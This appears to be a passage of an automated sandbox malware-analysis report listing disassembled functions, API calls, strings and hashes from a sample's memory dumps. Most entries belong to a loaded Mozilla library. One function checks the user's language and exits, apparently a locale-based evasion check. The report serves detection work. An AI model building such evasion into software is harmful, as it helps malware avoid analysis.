MOZ_BASE_PROFILER_LOGGING, xrefs: 6CBF947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CBF9459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CBF946B

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 8475093a5f57c9bac43399911dd4510b6009ba5ff646078249e79a482ba6d861
Instruction ID: 3967da47a65cefd3ca94b9e63146ee1df1ff8f8d760332f4ccfcca1cae61b987
Opcode Fuzzy Hash: 8475093a5f57c9bac43399911dd4510b6009ba5ff646078249e79a482ba6d861
Instruction Fuzzy Hash: C2012830E001509FD730AF6CF944A4933B8DB16328F040936D85E87F41E725D85A895B

Function 00AD6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00AD6774
ExitProcess.KERNEL32 ref: 00AD67A5
ExitProcess.KERNEL32 ref: 00AD67AF
ExitProcess.KERNEL32 ref: 00AD67B9
ExitProcess.KERNEL32 ref: 00AD67C3
ExitProcess.KERNEL32 ref: 00AD67CD

Strings

*, xrefs: 00AD678C

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: c235d68570fc2b6f019ad688050fac518b7a92b48fd6c688e6846eae123b0e50
Instruction ID: 7592e6abf2564a8db53d848e3a685c0178dab8740a809969b7931e2545156c67
Opcode Fuzzy Hash: c235d68570fc2b6f019ad688050fac518b7a92b48fd6c688e6846eae123b0e50
Instruction Fuzzy Hash: 2EF05E30904309EFD3449FE9E90976C7B70FB44703F048199E60EC6391D6704B419BE6

Function 6CBF6590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CBEFA80: GetCurrentThreadId.KERNEL32 ref: 6CBEFA8D
Part of subcall function 6CBEFA80: AcquireSRWLockExclusive.KERNEL32(6CC3F448), ref: 6CBEFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CBF6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CBF67C8

Part of subcall function 6CC04290: memcpy.VCRUNTIME140(?,?,6CC12003,6CC10AD9,?,6CC10AD9,00000000,?,6CC10AD9,?,00000004,?,6CC11A62,?,6CC12003,?), ref: 6CC042C4

Strings

7S+Y/, xrefs: 6CBF65A3
data, xrefs: 6CBF6593

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: 7S+Y/$data
API String ID: 511789754-2116504760
Opcode ID: fd51a98f8c93e965bfbbd773b38eddc976f0c1dc28cd431ffee1e71880d2d011
Instruction ID: da0d085e6573981e8214dc9a714ad3bd17b7f03321a45202ba0de4e167e52e24
Opcode Fuzzy Hash: fd51a98f8c93e965bfbbd773b38eddc976f0c1dc28cd431ffee1e71880d2d011
Instruction Fuzzy Hash: EAD1AD75A083808FD724DF24D851B9FB7E5AFD5308F10892DE89987B51EB31A84ACB53

Function 6CBED5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CBBEB57,?,?,?,?,?,?,?,?,?), ref: 6CBED652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CBBEB57,?), ref: 6CBED660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CBBEB57,?), ref: 6CBED673
free.MOZGLUE(?), ref: 6CBED888

Strings

7S+Y/, xrefs: 6CBED5DC, 6CBED7AC
|Enabled, xrefs: 6CBED81E

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: 7S+Y/$|Enabled
API String ID: 4142949111-1496056336
Opcode ID: 677ab1bac228889a2dfdcbde3d0e12110f6c76e9c5b13f33afda8eb6f4066504
Instruction ID: 25474792b5db6cab4e34ebcf17ebfe044a67de5bdd790648a428ef548379fba8
Opcode Fuzzy Hash: 677ab1bac228889a2dfdcbde3d0e12110f6c76e9c5b13f33afda8eb6f4066504
Instruction Fuzzy Hash: FFA103B0A003888FDB10CF79D4907AEBBF1EF89758F14805CD889AB741D775A845CBA2

Function 6CBB4DE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CBB4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CBB4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBB4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CBB4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CBB4F1E

Strings

7S+Y/, xrefs: 6CBB4DF6

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID: 7S+Y/
API String ID: 713647276-4163584386
Opcode ID: 39c0b9be6f6ca9d12dda575990fa4f8a9a17c58cbf25a3597b7965f33c5455ee
Instruction ID: 7be602e13416c42da3dff63d2c32a0606f788fcd7aa3995a7c0bb9ed05da7ffd
Opcode Fuzzy Hash: 39c0b9be6f6ca9d12dda575990fa4f8a9a17c58cbf25a3597b7965f33c5455ee
Instruction Fuzzy Hash: 9441BF716087819FCB05CF69C88096BB7E4FF89344F108A2DF469A7A41DB70E958CB92

Function 6CBEF440 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CBEF480

Part of subcall function 6CBBF100: LoadLibraryW.KERNEL32(shell32,?,6CC2D020), ref: 6CBBF122
Part of subcall function 6CBBF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CBBF132

CloseHandle.KERNEL32(00000000), ref: 6CBEF555

Part of subcall function 6CBC14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CBC1248,6CBC1248,?), ref: 6CBC14C9
Part of subcall function 6CBC14B0: memcpy.VCRUNTIME140(?,6CBC1248,00000000,?,6CBC1248,?), ref: 6CBC14EF

Part of subcall function 6CBBEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CBBEEE3

CreateFileW.KERNEL32 ref: 6CBEF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CBEF523

Strings

\oleacc.dll, xrefs: 6CBEF4CB
7S+Y/, xrefs: 6CBEF44E

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: 7S+Y/$\oleacc.dll
API String ID: 2595878907-3994272125
Opcode ID: 9e6da43407d223fd26f2759e0f265729ff15e0eb49e6a99428f898a3fb84750c
Instruction ID: 6345e8fc7f6cb05519ddfcc69b5cbbe0dbf922fea02da1a5d95a193b59cb98eb
Opcode Fuzzy Hash: 9e6da43407d223fd26f2759e0f265729ff15e0eb49e6a99428f898a3fb84750c
Instruction Fuzzy Hash: 2041B4306087909FE720DF39D884A9BB7F4EF98758F500A1CF59593690EB34D949CB92

Function 6CBF84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CBF84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CBF850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CBF851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CBF855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CBF856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CBF85AC

Part of subcall function 6CBF7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CBF85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CBF767F
Part of subcall function 6CBF7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CBF85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CBF7693
Part of subcall function 6CBF7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CBF85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CBF76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CBF85B2

Part of subcall function 6CBD5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CBD5EDB
Part of subcall function 6CBD5E90: memset.VCRUNTIME140(6CC17765,000000E5,55CCCCCC), ref: 6CBD5F27
Part of subcall function 6CBD5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CBD5FB2

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: aba13471a01733b7b438936077e02d3c79531fa067888e80433e95aee50ba76a
Instruction ID: e5cdbb76b4d9e89c9e601ee2024a9ec0dab587f88953e11380bc5fe024d8ba9b
Opcode Fuzzy Hash: aba13471a01733b7b438936077e02d3c79531fa067888e80433e95aee50ba76a
Instruction Fuzzy Hash: 8121EF752006818FDB15DB25D888A5AB7B4EF4130CF10492DE56FC3B41DB36F84ACB42

Function 6CBFF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBECBE8: GetCurrentProcess.KERNEL32(?,6CBB31A7), ref: 6CBECBF1
Part of subcall function 6CBECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBB31A7), ref: 6CBECBFA

Part of subcall function 6CBF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBC4A68), ref: 6CBF945E
Part of subcall function 6CBF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CBF9470
Part of subcall function 6CBF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CBF9482
Part of subcall function 6CBF9420: __Init_thread_footer.LIBCMT ref: 6CBF949F

GetCurrentThreadId.KERNEL32 ref: 6CBFF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CBFF598), ref: 6CBFF621

Part of subcall function 6CBF94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CBF94EE
Part of subcall function 6CBF94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CBF9508

GetCurrentThreadId.KERNEL32 ref: 6CBFF637
AcquireSRWLockExclusive.KERNEL32(6CC3F4B8,?,?,00000000,?,6CBFF598), ref: 6CBFF645
ReleaseSRWLockExclusive.KERNEL32(6CC3F4B8,?,?,00000000,?,6CBFF598), ref: 6CBFF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CBFF62A

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 900a0c10375c722facb65f91fc850c336c2008f446278524c0276b662e876f65
Instruction ID: 2920a54fe946aef664005b7deb3a2521f7e467bf963a4fd12293245d4af1e4a9
Opcode Fuzzy Hash: 900a0c10375c722facb65f91fc850c336c2008f446278524c0276b662e876f65
Instruction Fuzzy Hash: 46110A35300604AFCB14AF58E954DD977B9FF86759B100455FA1983F41CB71AC26CBA1

Function 6CBF05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CBECFAE,?,?,?,6CBB31A7), ref: 6CBF05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CBECFAE,?,?,?,6CBB31A7), ref: 6CBF0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CBB31A7), ref: 6CBF061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CBB31A7), ref: 6CBF0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CBF061B, 6CBF0625
<jemalloc>, xrefs: 6CBF05FA, 6CBF060F

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 358cd5a49419153f5480f8cd7afd56eebc2346620b17e035dcaa8d841171006d
Instruction ID: 0f92911d3d36ea141a1275626a9715908603a23afc8d5138aabbc3dabb1defa2
Opcode Fuzzy Hash: 358cd5a49419153f5480f8cd7afd56eebc2346620b17e035dcaa8d841171006d
Instruction Fuzzy Hash: DFE046A2A0105037F6142256AC86DBB665CDBC6234F080039FD0D83301A94AAD1A51F6

Function 6CC0DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC0DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CC0D38A,?), ref: 6CC0DC6F
free.MOZGLUE(?,?,?,?,?,6CC0D38A,?), ref: 6CC0DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CC0D38A,?), ref: 6CC0DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CC0D38A,?), ref: 6CC0DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CC0D38A,?), ref: 6CC0DD4A

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: a71f7121312e5af58aa7f82c83e36288665eb3f9d6ae8be97eb9bc2cdfdd3875
Instruction ID: f75602ebdbc2207754492ee5211a6de558355de5f56d69d40f8a038d95a3c71c
Opcode Fuzzy Hash: a71f7121312e5af58aa7f82c83e36288665eb3f9d6ae8be97eb9bc2cdfdd3875
Instruction Fuzzy Hash: 314127B5B006158FCB00CF99D89099ABBB5FF88318B554569D945ABB11E772FC04CF90

Function 6CC00C90 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CC00CD5

Part of subcall function 6CBEF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CBEF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CC00D40
free.MOZGLUE ref: 6CC00DCB

Part of subcall function 6CBD5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CBD5EDB
Part of subcall function 6CBD5E90: memset.VCRUNTIME140(6CC17765,000000E5,55CCCCCC), ref: 6CBD5F27
Part of subcall function 6CBD5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CBD5FB2

free.MOZGLUE ref: 6CC00DDD
free.MOZGLUE ref: 6CC00DF2

Strings

7S+Y/, xrefs: 6CC00CA2

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID: 7S+Y/
API String ID: 4069420150-4163584386
Opcode ID: 0e2a4ecd986ddd739e6320b450929e5ebb4d06dd0d9124e7525898681d2fa242
Instruction ID: 3a98f0cb8b7be5fed4426bb2c3730d4f8a03174a7239a33c586c88db2bf62a16
Opcode Fuzzy Hash: 0e2a4ecd986ddd739e6320b450929e5ebb4d06dd0d9124e7525898681d2fa242
Instruction Fuzzy Hash: A0412975A087808BD720DF29C08179EFBE5BFC9754F128A2EE8D887750E770A445CB92

Function 6CBDD468 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CBECBE8: GetCurrentProcess.KERNEL32(?,6CBB31A7), ref: 6CBECBF1
Part of subcall function 6CBECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBB31A7), ref: 6CBECBFA

EnterCriticalSection.KERNEL32(6CC3E784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CBED1C5), ref: 6CBDD4F2
LeaveCriticalSection.KERNEL32(6CC3E784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CBED1C5), ref: 6CBDD50B

Part of subcall function 6CBBCFE0: EnterCriticalSection.KERNEL32(6CC3E784), ref: 6CBBCFF6
Part of subcall function 6CBBCFE0: LeaveCriticalSection.KERNEL32(6CC3E784), ref: 6CBBD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CBED1C5), ref: 6CBDD52E
EnterCriticalSection.KERNEL32(6CC3E7DC), ref: 6CBDD690
LeaveCriticalSection.KERNEL32(6CC3E784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CBED1C5), ref: 6CBDD751

Strings

7S+Y/, xrefs: 6CBDD4E2
MOZ_CRASH(), xrefs: 6CBDD4BB

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: 7S+Y/$MOZ_CRASH()
API String ID: 3805649505-2444515145
Opcode ID: 9f429d6152afa0824cc88cb39512dc30e3a0942d67bae961c1c05a057097f9ae
Instruction ID: b72faa6acf01a138eb6af7630392287b32cf280d8d569094b4e0ce4cf291e146
Opcode Fuzzy Hash: 9f429d6152afa0824cc88cb39512dc30e3a0942d67bae961c1c05a057097f9ae
Instruction Fuzzy Hash: 8651C071A047958FD728CF28D09471ABBF1EB8A744F15492EE999C7B84E770E840CF92

Function 6CC0B410 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBB4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CBF3EBD,6CBF3EBD,00000000), ref: 6CBB42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CC0B127), ref: 6CC0B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC0B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CC0B4E4

Strings

7S+Y/, xrefs: 6CC0B419
pid:, xrefs: 6CC0B4DE

Memory Dump Source

